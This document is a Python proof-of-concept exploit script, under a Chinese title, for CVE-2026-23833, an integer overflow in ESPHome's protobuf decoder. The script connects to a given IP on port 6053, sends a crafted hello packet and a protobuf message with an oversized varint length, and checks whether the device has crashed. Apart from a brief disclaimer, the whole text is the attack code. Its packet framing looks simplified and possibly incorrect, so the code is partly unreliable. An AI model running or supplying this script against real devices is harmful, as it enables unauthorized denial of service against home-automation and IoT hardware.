ESPHome protobuf解码器整数溢出漏洞导致拒绝服务 (CVE-2026-23833)

#!/usr/bin/env python3 """ CVE-2026-23833 PoC - ESPHome Protobuf Decoder Integer Overflow This PoC demonstrates the integer overflow in ESPHome's protobuf decoder. Note: This is for educational purposes only. Do not use without authorization. """ import socket import struct import sys def create_malicious_protobuf(): """ Create a malicious protobuf message with oversized field_length to trigger integer overflow in ptr + field_length check. """ # Protobuf varint encoding for a very large field_length # Using 0xFF repeated to create maximum varint value oversized_length = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01' # Construct protobuf message with oversized field message = b'\x08' # Field 1, wire type 0 (varint) message += oversized_length # Oversized length value return message def send_exploit(target_ip, target_port=6053): """ Send the malicious payload to ESPHome device. Default port is 6053 (ESPHome native API). """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: print(f"[*] Connecting to {target_ip}:{target_port}") sock.connect((target_ip, target_port)) # Send hello packet first (for plaintext API) hello_packet = create_hello_packet() sock.send(hello_packet) print("[*] Sent Hello packet") # Send malicious protobuf message payload = create_malicious_protobuf() sock.send(payload) print("[*] Sent malicious protobuf payload") print("[*] Payload length:", len(payload), "bytes") # Wait for response try: response = sock.recv(1024) print(f"[*] Received response: {response.hex()}") except socket.timeout: print("[*] No response received (target may have crashed)") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() def create_hello_packet(): """ Create initial Hello packet for ESPHome API connection. """ # Simplified Hello packet for plaintext API packet = b'\x00' # Message type: Hello # Add minimal protobuf payload packet += b'\x08\x01' # field 1, version varint return packet if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 6053") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 6053 send_exploit(target, port)